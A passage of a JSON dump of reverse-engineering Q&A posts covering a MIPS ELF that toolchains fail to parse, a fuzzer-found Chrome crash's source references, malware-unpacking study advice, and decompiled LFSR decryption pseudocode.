        "Body": "<p>So i want to disassemble and then run a MIPS elf file for the first time. As i don't have MIPS hardware i am using mipsel-unknown-linux-gnu toolchain.Here comes the problem. The output of the command file myelf is:</p>\n\n<pre><code>ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked (uses shared libs), stripped\n</code></pre>\n\n<p>But when i try to disassemble the file i get:</p>\n\n<pre><code>mipsel-unknown-linux-gnu-objdump: myelf: File format not recognized\n</code></pre>\n\n<p>I get the same error when i want to run it or to debug it. But if i write a small program in MIPS assembly (using an edit and mipsel-unknown-linux-gnu-as as assembler and mipsel-unknown-linux-gnu-ld as a linker) i can run it and debug it so i'm sure the problem comes from myelf file. Actually i can disassemble myelf with IDA but i want to follow the execution using gdb under linux.</p>\n\n<p>Then i did a readelf and this is the output of mipsel-unknown-linux--u-readelf -a myelf:</p>\n\n<pre><code>ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x400670\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4132 (bytes into file)\n  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30\n  Section header string table index: 29\nreadelf: Error: Unable to read in 0x69737265 bytes of string table\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0] &lt;no-name&gt;         LOUSER+6f0fbdbf bdbfefbd bdbfef3b f286821 bfef4abd WAXxMSLOTxxxxxxxxop 1992146927 4022190063 3220159935\nreadelf: Warning: section 0: sh_link value of 1992146927 is larger than the number of sections\n  [ 1] &lt;no-name&gt;         09bdbfef: &lt;unkn bfefbdbf bfef58bd ef3d6ebd ef5d6e20 WAXxSILOGTxxxxxxxop 3220159935 3220134333 1483756221\nreadelf: Warning: section 1: sh_link value of 3220159935 is larger than the number of sections\n  [ 2] &lt;no-name&gt;         LOUSER+3dbfefbd bfef1257 ef1e67bd bfefbdbf efbdbfef WAXIOGTxxxxxxxxop 3183472573 1589493743 3183472479\nreadelf: Warning: section 2: sh_link value of 3183472573 is larger than the number of sections\n  [ 3] &lt;no-name&gt;         LOUSER+3fefbdbf bfef35bd bfef51bd bfef07bd bdbfef38 WXxMSLOGxxxxxxop 4017489853 1393212863 498974703\nreadelf: Warning: section 3: sh_link value of 4017489853 is larger than the number of sections\n  [ 4] &lt;no-name&gt;         LOUSER+3dbfef7c 25bdbfef 44bdbfef efbdbfef efbdbfef WAXOGTxxxxxxxxop 4013997503 4014390719 1532607935\nreadelf: Warning: section 4: sh_link value of 4013997503 is larger than the number of sections\n  [ 5] &lt;no-name&gt;         LOUSER+6f17bdbf bfef1fbd ef3d6dbd 2b4ebdbf ef3a332c WAXxMSLOTxxxxxxxxop 700301295 3183472475 3183472441\nreadelf: Warning: section 5: sh_link value of 700301295 is larger than the number of sections\n  [ 6] &lt;no-name&gt;         LOUSER+6f15bdbf ef0f15bd bfefbdbf bdbfefbd bfef4e90 WAXxMSLOTxxxxxxxxop 3220132880 3220113853 3661197501\nreadelf: Warning: section 6: sh_link value of 3220132880 is larger than the number of sections\n  [ 7] &lt;no-name&gt;         LOUSER+6f1c2e62 64bdbfef 4a3d369 ef603c51 ef40bdbf WAXxMSLOTxxxxxxop 1366867391 700301295 4011659522\nreadelf: Warning: section 7: sh_link value of 1366867391 is larger than the number of sections\n  [ 8] &lt;no-name&gt;         4c2cbdbf: &lt;unkn bdbfefbd bfef3c4f ef476cbd ef1d10bd AXMSIOGTxxxxxxop 386514367 3183472428 3220142970\nreadelf: Warning: section 8: sh_link value of 386514367 is larger than the number of sections\n  [ 9] &lt;no-name&gt;         LOUSER+24c2bdbf 42781f57 efb4a5e5 bfefbdbf 716bdbf WAXxSILOGTxxxxxxxop 3183472573 4012516894 4016422335\nreadelf: Warning: section 9: sh_link value of 3183472573 is larger than the number of sections\n  [10] &lt;no-name&gt;         LOUSER+3fefbdbf 476e0abd 18bdbfef bdbfef32 4bdbfef WXxMSLGxxxxxxop 3183472447 4022190063 525516223\nreadelf: Warning: section 10: sh_link value of 3183472447 is larger than the number of sections\n  [11] &lt;no-name&gt;         LOUSER+3dbfef0f bdbfef35 ef5a2137 5415bdbf efbdbfef AMIOGTxxxxxxxxop 3220117023 3183472573 3183472496\nreadelf: Warning: section 11: sh_link value of 3220117023 is larger than the number of sections\n  [12] &lt;no-name&gt;         LOUSER+3dbfefbd 80dc78ae efbdbfef bfefbdbf bdbfefbd AXxTxxxop 3220115133 4015879101 3220159935\nreadelf: Warning: section 12: sh_link value of 3220115133 is larger than the number of sections\n  [13] &lt;no-name&gt;         LOUSER+3dbfef4a cf6622bd bdbfef89 77bdbfef ef714abd WASIOTxxxxxop 3220122624 3220140989 3220129981\nreadelf: Warning: section 13: sh_link value of 3220122624 is larger than the number of sections\n  [14] &lt;no-name&gt;         LOUSER+6f202b35 5b1a78bd efbdbfef bfefbdbf ef37bdbf WAXxMSLOTxxxxxxxxop 3183472573 3183472489 4022190063\nreadelf: Warning: section 14: sh_link value of 3183472573 is larger than the number of sections\n  [15] &lt;no-name&gt;         2a0e3fbd: &lt;unkn efbdbfef ef3abdbf ef15bdbf bfefbdbf WxOGTxxxxxxxxop 4013014463 4012883391 4014063039\nreadelf: Warning: section 15: sh_link value of 4013014463 is larger than the number of sections\n  [16] &lt;no-name&gt;         LOUSER+6fbdbfef bfefbdbf bdbfefbd 3fbdbfef ef0961bd WAXxMSLOTxxxxxxop 1899399115 3183472494 3220112411\nreadelf: Warning: section 16: sh_link value of 1899399115 is larger than the number of sections\n  [17] &lt;no-name&gt;         185a7404: &lt;unkn 0038bdbf 4abdbfef bdbfef09 9631ebd WAXxMSOGxxxxop 985513967 4010489125 3220159935\nreadelf: Warning: section 17: sh_link value of 985513967 is larger than the number of sections\n  [18] &lt;no-name&gt;         LOUSER+6fa4db38 00bdbfef 000000 000000 bfef0000 WAXxMSLOTxxxxxop  0   0  0\n  [19] &lt;no-name&gt;         410c3000: &lt;unkn 00000000 000000 bdbfef00 7000400b     4009771013 1074249151 3183472384\nreadelf: Warning: section 19: sh_link value of 4009771013 is larger than the number of sections\n  [20] &lt;no-name&gt;         0000400b: &lt;unkn ef00400b 4009bdbf 400b4000 00   p 1074475008 1074470912 1074466816\nreadelf: Warning: section 20: sh_link value of 1074475008 is larger than the number of sections\n  [21] &lt;no-name&gt;         LOUSER+3dbfef00 0000400b ef000000 4007bdbf bdbfefbd Wxx 117440512 4022190063 3220159935\nreadelf: Warning: section 21: sh_link value of 117440512 is larger than the number of sections\n  [22] &lt;no-name&gt;         NULL            1d000000 1f000000 ef000000 bfefbdbf   p 1074314687   0 4022190063\nreadelf: Warning: section 22: sh_link value of 1074314687 is larger than the number of sections\n  [23] &lt;no-name&gt;         00bdbfef: &lt;unkn 20000000 1d000000 1f000000 00     4009754624 1074380223  0\nreadelf: Warning: section 23: sh_link value of 4009754624 is larger than the number of sections\n  [24] &lt;no-name&gt;         NULL            00001d00 001f00 bdbfef00 efbdbfef     16393 3220127488 3183472573\nreadelf: Warning: section 24: sh_link value of 16393 is larger than the number of sections\n  [25] &lt;no-name&gt;         000000bd: &lt;unkn 00003800 001d00 001f00 2e34206e     1128482560 1143480378 1634296421\nreadelf: Warning: section 25: sh_link value of 1128482560 is larger than the number of sections\n  [26] &lt;no-name&gt;         34202938: &lt;unkn 000f4100 6e670000 7010075 626174 AXxSTxxxxxop 67108864 1932394497 1920234344\nreadelf: Warning: section 26: sh_link value of 67108864 is larger than the number of sections\n  [27] &lt;no-name&gt;         00707265: &lt;unkn 42412e65 61742d49 722e0067 756e672e AXxSGTxxxxxxxop 1852401509 771780454 1702129518\nreadelf: Warning: section 27: sh_link value of 1852401509 is larger than the number of sections\n  [28] &lt;no-name&gt;         LOOS+92d646c    6d616e79 2e006369 68736168 7274736e XSIxxxop 2036608512 1836675950 2036608512\nreadelf: Warning: section 28: sh_link value of 2036608512 is larger than the number of sections\n  [29] &lt;no-name&gt;         LOOS+5762e75    672e006e 762e756e 69737265 74786574 AMSIOGxxxxxop 1918856815 1852386816 771781737\nreadelf: Warning: section 29: sh_link value of 1918856815 is larger than the number of sections\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x00400154 0x00400154 0x0000a 0x0000a R   0x1\n      [Requesting program interpreter: ]\n  REGINFO        0x1bdbfef 0xbfef0000 0x004001bd 0x1bdbfef 0x180040     0x40000\n  &lt;unknown&gt;: 400 0x010000 0x00000000 0x00000000 0x00040 0xc300040     0x50000\n  NULL           0x010001 0x0c300000 0x0c300000 0xc300041 0x2400041     0x60000\n  NULL           0x020001 0xbfef0000 0x000001bd 0x1bdbfef 0xbfef0040 R E 0xbdbfef\n  &lt;unknown&gt;: bfe 0x0000bd 0x00000007 0x00000004 0x00004 0x00164 R   0x400164\n  &lt;unknown&gt;: 20  0x000020 0x00000004 0x00000004 0x00004 0x1bdbfef     0x4001bd\n  &lt;unknown&gt;: 1bd 0x240040 0x00240000 0x00040000 0x40000 0x00000     0\n\nThere is no dynamic section in this file.\n\nThere are no relocations in this file.\n\nThe decoding of unwind sections for machine type MIPS R3000 is not currently supported.\n\nNo version information found in this file.\n</code></pre>\n\n<p>As it's a project from a school dealing with reverse engineering, the elf file may be corrupted or not. I have no idea from what the problem could come from. You can download myelf file from this <a href=\"https://bitbucket.org/Nomyo/reverse-engineering/downloads\" rel=\"nofollow\">link</a>. Thank you.</p>\n\n<p>Anyone have encountered this kind of error or any suggestions ? </p>\n",
        "Title": "How to disassemble/run mips ELF file ? (with readelf error)",
        "Tags": "|disassembly|linux|elf|mips|",
        "Answer": "<p>This file is completely valid ELF, but you have a problem with the toolchain.\nYou should check correctness of its setup.</p>\n\n<p>In addition if you don't have the hardware you can use <a href=\"http://wiki.qemu.org/Main_Page\" rel=\"nofollow\">qemu</a> to run it.\nThere is also <a href=\"http://landley.net/aboriginal/\" rel=\"nofollow\">aboriginal</a> toolchain that you can try to use.</p>\n\n<p>Output of the readelf should be as follows:</p>\n\n<pre><code>mips-unknown-nto-qnx6.5.0-readelf -a ~/Downloads/myelf \nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x400670\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4132 (bytes into file)\n  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30\n  Section header string table index: 29\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        00400154 000154 00000d 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            00400164 000164 000020 00   A  0   0  4\n  [ 3] .reginfo          MIPS_REGINFO    00400184 000184 000018 18   A  0   0  4\n  [ 4] .note.gnu.build-i NOTE            0040019c 00019c 000024 00   A  0   0  4\n  [ 5] .dynamic          DYNAMIC         004001c0 0001c0 0000d8 08   A  8   0  4\n  [ 6] .hash             HASH            00400298 000298 0000a4 04   A  7   0  4\n  [ 7] .dynsym           DYNSYM          0040033c 00033c 000160 10   A  8   1  4\n  [ 8] .dynstr           STRTAB          0040049c 00049c 0000df 00   A  0   0  1\n  [ 9] .gnu.version      VERSYM          0040057c 00057c 00002c 02   A  7   0  2\n  [10] .gnu.version_r    VERNEED         004005a8 0005a8 000030 00   A  8   1  4\n  [11] .init             PROGBITS        004005d8 0005d8 000090 00  AX  0   0  4\n  [12] .text             PROGBITS        00400670 000670 000490 00  AX  0   0 16\n  [13] .MIPS.stubs       PROGBITS        00400b00 000b00 0000a0 00  AX  0   0  4\n  [14] .fini             PROGBITS        00400ba0 000ba0 00004c 00  AX  0   0  4\n  [15] .rodata           PROGBITS        00400bec 000bec 000040 00   A  0   0  4\n  [16] .eh_frame         PROGBITS        00400c2c 000c2c 000004 00   A  0   0  4\n  [17] .ctors            PROGBITS        00410c30 000c30 00000c 00  WA  0   0  4\n  [18] .dtors            PROGBITS        00410c3c 000c3c 000008 00  WA  0   0  4\n  [19] .jcr              PROGBITS        00410c44 000c44 000004 00  WA  0   0  4\n  [20] .data             PROGBITS        00410c50 000c50 0001b0 00  WA  0   0 16\n  [21] .rld_map          PROGBITS        00410e00 000e00 000004 00  WA  0   0  4\n  [22] .got              PROGBITS        00410e10 000e10 00005c 04 WAp  0   0 16\n  [23] .sdata            PROGBITS        00410e6c 000e6c 000004 00 WAp  0   0  4\n  [24] .bss              NOBITS          00410e70 000e70 000010 00  WA  0   0 16\n  [25] .pdr              PROGBITS        00000000 000e70 000080 00      0   0  4\n  [26] .comment          PROGBITS        00000000 000ef0 00001c 01  MS  0   0  1\n  [27] .gnu.attributes   LOOS+ffffff5    00000000 000f0c 000010 00      0   0  1\n  [28] .mdebug.abi32     PROGBITS        00000070 000f1c 000000 00      0   0  1\n  [29] .shstrtab         STRTAB          00000000 000f1c 000107 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x00400154 0x00400154 0x0000d 0x0000d R   0x1\n      [Requesting program interpreter: /lib/ld.so.1]\n  REGINFO        0x000184 0x00400184 0x00400184 0x00018 0x00018 R   0x4\n  LOAD           0x000000 0x00400000 0x00400000 0x00c30 0x00c30 R E 0x10000\n  LOAD           0x000c30 0x00410c30 0x00410c30 0x00240 0x00250 RW  0x10000\n  DYNAMIC        0x0001c0 0x004001c0 0x004001c0 0x000d8 0x000d8 RWE 0x4\n  NOTE           0x000164 0x00400164 0x00400164 0x00020 0x00020 R   0x4\n  NOTE           0x00019c 0x0040019c 0x0040019c 0x00024 0x00024 R   0x4\n  NULL           0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .reginfo \n   03     .interp .note.ABI-tag .reginfo .note.gnu.build-id .dynamic .hash .dynsym .dynstr .gnu.version .gnu.version_r .init .text .MIPS.stubs .fini .rodata .eh_frame \n   04     .ctors .dtors .jcr .data .rld_map .got .sdata .bss \n   05     .dynamic \n   06     .note.ABI-tag \n   07     .note.gnu.build-id \n   08     \n\nDynamic section at offset 0x1c0 contains 22 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libc.so.6]\n 0x0000000c (INIT)                       0x4005d8\n 0x0000000d (FINI)                       0x400ba0\n 0x00000004 (HASH)                       0x400298\n 0x00000005 (STRTAB)                     0x40049c\n 0x00000006 (SYMTAB)                     0x40033c\n 0x0000000a (STRSZ)                      223 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x70000016 (MIPS_RLD_MAP)               0x410e00\n 0x00000015 (DEBUG)                      0x0\n 0x00000003 (PLTGOT)                     0x410e10\n 0x70000001 (MIPS_RLD_VERSION)           1\n 0x70000005 (MIPS_FLAGS)                 NOTPOT\n 0x70000006 (MIPS_BASE_ADDRESS)          0x400000\n 0x7000000a (MIPS_LOCAL_GOTNO)           7\n 0x70000011 (MIPS_SYMTABNO)              22\n 0x70000012 (MIPS_UNREFEXTNO)            29\n 0x70000013 (MIPS_GOTSYM)                0x6\n 0x6ffffffe (VERNEED)                    0x4005a8\n 0x6fffffff (VERNEEDNUM)                 1\n 0x6ffffff0 (VERSYM)                     0x40057c\n 0x00000000 (NULL)                       0x0\n\nThere are no relocations in this file.\n\nThere are no unwind sections in this file.\n\nSymbol table '.dynsym' contains 22 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000001     0 SECTION GLOBAL DEFAULT  ABS _DYNAMIC_LINKING\n     2: 00400bec     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used\n     3: 00000000     0 OBJECT  WEAK   DEFAULT  UND environ@GLIBC_2.0 (2)\n     4: 00000000     0 OBJECT  WEAK   DEFAULT  UND _environ@GLIBC_2.0 (2)\n     5: 00410e00     0 OBJECT  GLOBAL DEFAULT   21 __RLD_MAP\n     6: 004005d8     0 FUNC    GLOBAL DEFAULT   11 _init\n     7: 004007b0   320 FUNC    GLOBAL DEFAULT   12 main\n     8: 00400b80     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)\n     9: 00400b70     0 FUNC    GLOBAL DEFAULT  UND cbc_crypt@GLIBC_2.2 (3)\n    10: 00400b60     0 FUNC    GLOBAL DEFAULT  UND munmap@GLIBC_2.0 (2)\n    11: 00000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.0 (2)\n    12: 00400b50     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)\n    13: 004009e8   176 FUNC    GLOBAL DEFAULT   12 __libc_csu_init\n    14: 00400b40     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.0 (2)\n    15: 00400b30     0 FUNC    GLOBAL DEFAULT  UND mprotect@GLIBC_2.0 (2)\n    16: 00400b20     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)\n    17: 00400b10     0 FUNC    GLOBAL DEFAULT  UND ptrace@GLIBC_2.0 (2)\n    18: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses\n    19: 00000000     0 FUNC    WEAK   DEFAULT  UND __gmon_start__\n    20: 004009e0     8 FUNC    GLOBAL DEFAULT   12 __libc_csu_fini\n    21: 00400b00     0 FUNC    GLOBAL DEFAULT  UND mmap@GLIBC_2.0 (2)\n\nHistogram for bucket list length (total of 17 buckets):\n Length  Number     % of total  Coverage\n      0  5          ( 29.4%)\n      1  7          ( 41.2%)     33.3%\n      2  3          ( 17.6%)     61.9%\n      3  1          (  5.9%)     76.2%\n      4  0          (  0.0%)     76.2%\n      5  1          (  5.9%)    100.0%\n\nVersion symbols section '.gnu.version' contains 22 entries:\n Addr: 000000000040057c  Offset: 0x00057c  Link: 7 (.dynsym)\n  000:   0 (*local*)       1 (*global*)      1 (*global*)      2 (GLIBC_2.0)  \n  004:   2 (GLIBC_2.0)     1 (*global*)      1 (*global*)      1 (*global*)   \n  008:   2 (GLIBC_2.0)     3 (GLIBC_2.2)     2 (GLIBC_2.0)     2 (GLIBC_2.0)  \n  00c:   2 (GLIBC_2.0)     1 (*global*)      2 (GLIBC_2.0)     2 (GLIBC_2.0)  \n  010:   2 (GLIBC_2.0)     2 (GLIBC_2.0)     0 (*local*)       0 (*local*)    \n  014:   1 (*global*)      2 (GLIBC_2.0)  \n\nVersion needs section '.gnu.version_r' contains 1 entries:\n Addr: 0x00000000004005a8  Offset: 0x0005a8  Link: 8 (.dynstr)\n  000000: Version: 1  File: libc.so.6  Cnt: 2\n  0x0010:   Name: GLIBC_2.2  Flags: none  Version: 3\n  0x0020:   Name: GLIBC_2.0  Flags: none  Version: 2\n\nNotes at offset 0x00000164 with length 0x00000020:\n  Owner     Data size   Description\n  GNU       0x00000010  NT_GNU_ABI_TAG (ABI version tag)\n\nNotes at offset 0x0000019c with length 0x00000024:\n  Owner     Data size   Description\n  GNU       0x00000014  NT_GNU_BUILD_ID (unique build ID bitstring)\nAttribute Section: gnu\nFile Attributes\n  Tag_GNU_MIPS_ABI_FP: Hard float (-mdouble-float)\n\nPrimary GOT:\n Canonical gp value: 00418e00\n\n Reserved entries:\n   Address     Access  Initial Purpose\n  00410e10 -32752(gp) 00000000 Lazy resolver\n  00410e14 -32748(gp) 80000000 Module pointer (GNU extension)\n\n Local entries:\n   Address     Access  Initial\n  00410e18 -32744(gp) 00400000\n  00410e1c -32740(gp) 00410c30\n  00410e20 -32736(gp) 00000000\n  00410e24 -32732(gp) 00000000\n  00410e28 -32728(gp) 00000000\n\n Global entries:\n   Address     Access  Initial Sym.Val. Type    Ndx Name\n  00410e2c -32724(gp) 004005d8 004005d8 FUNC     11 _init\n  00410e30 -32720(gp) 004007b0 004007b0 FUNC     12 main\n  00410e34 -32716(gp) 00400b80 00400b80 FUNC    UND exit\n  00410e38 -32712(gp) 00400b70 00400b70 FUNC    UND cbc_crypt\n  00410e3c -32708(gp) 00400b60 00400b60 FUNC    UND munmap\n  00410e40 -32704(gp) 00000000 00000000 OBJECT  UND __environ\n  00410e44 -32700(gp) 00400b50 00400b50 FUNC    UND puts\n  00410e48 -32696(gp) 004009e8 004009e8 FUNC     12 __libc_csu_init\n  00410e4c -32692(gp) 00400b40 00400b40 FUNC    UND memcpy\n  00410e50 -32688(gp) 00400b30 00400b30 FUNC    UND mprotect\n  00410e54 -32684(gp) 00400b20 00400b20 FUNC    UND __libc_start_main\n  00410e58 -32680(gp) 00400b10 00400b10 FUNC    UND ptrace\n  00410e5c -32676(gp) 00000000 00000000 NOTYPE  UND _Jv_RegisterClasses\n  00410e60 -32672(gp) 00000000 00000000 FUNC    UND __gmon_start__\n  00410e64 -32668(gp) 004009e0 004009e0 FUNC     12 __libc_csu_fini\n  00410e68 -32664(gp) 00400b00 00400b00 FUNC    UND mmap\n</code></pre>\n"
    },
    {
        "Id": "8651",
        "CreationDate": "2015-04-07T15:22:42.993",
        "Body": "<p>My fuzzer recently crashed chrome and dumped what appears to be an exploitable vulnerability. I'm having an issue debugging it, as the referenced source appears incompatible with the version of chrome im running:</p>\n\n<p>Chrome v. 41.0.2272.89 m\nThe callstack is referencing allocator_shim.cc\n     <code>c:\\b\\build\\slave\\win\\build\\src\\base\\allocator\\allocator_shim.cc</code></p>\n\n<p>The issue is that for the most recent source I've pulled, there's only\n    <code>allocator_shim_win.cc</code></p>\n\n<p>Browsing Chromium source online also only has the newer\n    <code>allocator_shim_win.cc</code><br>\ninstead of\n    <code>allocator_shim.cc</code></p>\n\n<p>Why is my version of Chrome referencing/using old source (symbols/metadata) when it's supposed to be up to date?</p>\n",
        "Title": "Chrome Vulnerability Issue",
        "Tags": "|windows|debuggers|c++|exploit|debugging-symbols|",
        "Answer": "<p>Chrome != Chromium. <a href=\"http://en.wikipedia.org/wiki/Chromium_%28web_browser%29#Differences_from_Google_Chrome\" rel=\"nofollow\">Google makes several changes to the Chromium code base before building Chrome.</a> This may be one of the changes.</p>\n\n<p>Nonetheless, the snapshot for the 41.0.2272.89 version of Chromium can be found here: <a href=\"https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89\" rel=\"nofollow\">https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89</a></p>\n\n<p>You can see in <a href=\"https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/\" rel=\"nofollow\">https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/</a> that there's no <code>allocator_shim.cc</code> file, which may suggest that the callstack artifact is from a change made by Google for Chrome. Alternatively, it could suggest that the standard build process \"renames\" <code>allocator_shim_win.cc</code> to <code>allocator_shim.cc</code> at build-time, in which case this might not be because of changes made by Google.</p>\n"
    },
    {
        "Id": "8654",
        "CreationDate": "2015-04-07T20:12:17.570",
        "Body": "<p>I want to find a way to improve my unpacking skills, i am not a noob but i miss steps from simple to hard packers.</p>\n\n<p>I saw lot of video tutorials, the most of the time i see \"click F9 x times to reach the OEP\" or \"ESP trick\" without go deeper as i want. \nI find the learning process slow in this way.</p>\n\n<p>I am searching for paper or books to go deeper in this art, my goal is to be able to face malware analisis in the best way.</p>\n\n<p>Please advice, thanks</p>\n",
        "Title": "Best and smarter way to improve unpacking skills",
        "Tags": "|ida|ollydbg|malware|unpacking|",
        "Answer": "<p>Unpacking is an art, and as such there aren't clear steps to unpack any target.</p>\n\n<p>I was in your situation a few years ago. I understood assembly, and code injections and hooking and whatnot, but I could not grasp unpacking.</p>\n\n<p>The key is to approach unpacking analytically. You have a state A, which is a (possibly!) packed executable, and you have a desired state B which contains code you can analyze in IDA for example. You want to find where that state switch happens.</p>\n\n<p>This sounds rather generic, and that's because it is. Especially in malware unpacking, it's not always 100% clear when code is unpacked. Sometimes there is no unpacked binary, but injected shellcode. Sometimes you get 3 stages of unpacking.</p>\n\n<p>So then, this is not helpful. That's why you start with very simple approaches to learn the patterns.</p>\n\n<p>That's where the ESP trick you mentioned comes into play. This is a trick that commonly allows you to skip code. Oftentimes, unpacking stubs are surrounded with pushad/popad to not taint the environment before the actual code runs. That's one pattern to learn - something starts with saving the execution state (more or less) - so we're interested in what happens afterwards.</p>\n\n<p>Another idea: PE executables have a header. So if some unpacker unpacks the target code, does it restore the original header? The answer surprisingly is mostly yes! That's great, because now we can just watch for the header being changed and are close to the final form of the code. This can be done be setting a Hardware Breakpoint on Write on some field in the header - for example the AddressOfEntryPoint, because that's what we want to know!</p>\n\n<p>Then there are so-called RunPE packers (also now referred to as 'process hollowing') - they broke up with the concept of unpacking as in a small stub that rebuilds the original executable in-placce but instead create a new (possibly unrelated) process, then rewrite that new process to the state of the original binary.</p>\n\n<p>So how do we handle that? We watch for APIs that are used. We watch for CreateProcess(CREATE_SUSPENDED), we watch WriteProcessMemory, we watch ResumeThread. Of course, there are dozens of variations (ZwWriteVirtualMemory, ZwResumeProcess, ZwCreateProcess and so on) but the key steps are the same: Create some new process, modify it, resume execution.</p>\n\n<p>Then there are examples that simply don't fit a scheme themselves - what to do with them? Follow their code flow! Look until you see something you can use. Sometimes you'll end up with some dumped shellcode from WriteProcessMemory, but that's the 'final' stage B, there is nothing else.</p>\n\n<p>This is a long answer but my point is: Unpacking is simple - packed code is transformed into unpacked code. There is no magic between these steps, so follow the code and think outside the box.</p>\n\n<p>Sometimes all you need is a breakpoint on VirtualFree() to catch the unpacked code being freed. Sometimes you just need a breakpoint on VirtualAlloc() and watch what is written there. By thinking about what CAN happen between state A and B you'll find points to 'ambush' the unpacked code so to speak.</p>\n"
    },
    {
        "Id": "8655",
        "CreationDate": "2015-04-07T23:44:15.937",
        "Body": "<p>So I'm trying to reverse engineer a LFSR encryption scheme using IDA, and am (hopefully) pretty close to cracking it. </p>\n\n<p>The code in particular iterates through every byte of the encrypted file, decrypts it and stores it in memory (var v22). What stumps me however, is the way the pseudocode seems to do some operations on the variable before declaring it \u2013 which I have no idea how to \"translate\" into something a bit less cryptic.</p>\n\n<p>I've included the code below:</p>\n\n<pre><code>file = fopen((const char *)&amp;bin_filename, \"rb\");\nfseek(file, 0, 0);\n\nmemset(&amp;v22, 0, 0x80000u);\ni = 0;\nwhile ( feof(file) == 0 ){\n    fread(&amp;byte, 1u, 1u, file);\n\n    if ( i % 4 ){\n        decryptedByte = DecryptByte(byte);\n\n        // What happens here on the left hand side of the bitwise OR assignment?\n        *(&amp;v22 + i / 4) |= decryptedByte &lt;&lt; 8 * (i - ((i + ((unsigned int)(i &gt;&gt; 31) &gt;&gt; 30)) &amp; 0x1C));\n    }\n    else {\n        decryptedByte = DecryptByte(byte);\n        *(&amp;v22 + i / 4) = decryptedByte;\n    }\n\n    ++i;\n}\n</code></pre>\n\n<p>As indicated by my comment above, what I don't understand is the meaning of <code>*(&amp;v22 + i / 4) =</code> in the context of a variable assignment. </p>\n\n<p>How does <code>decryptedByte</code> get assigned to a math equation?</p>\n",
        "Title": "Understanding pseudocode containing a math operation in a variable assignment",
        "Tags": "|decompilation|deobfuscation|decryption|",
        "Answer": "<p><code>v22</code> is the first byte of an 0x80000-byte buffer.</p>\n\n<p><code>&amp;v22</code> is a pointer to that buffer.</p>\n\n<p><code>&amp;v22 + i / 4</code> is a pointer to the <code>i/4</code>'th byte in that buffer.</p>\n\n<p><code>*(&amp;v22 + i / 4) |= ...</code> ORs the <code>i/4</code>'th byte in that buffer with <code>decryptedByte &lt;&lt; 8 * (i - ((i + ((unsigned int)(i &gt;&gt; 31) &gt;&gt; 30))</code>.</p>\n"
    },
    {
        "Id": "8665",
        "CreationDate": "2015-04-09T01:15:47.943",
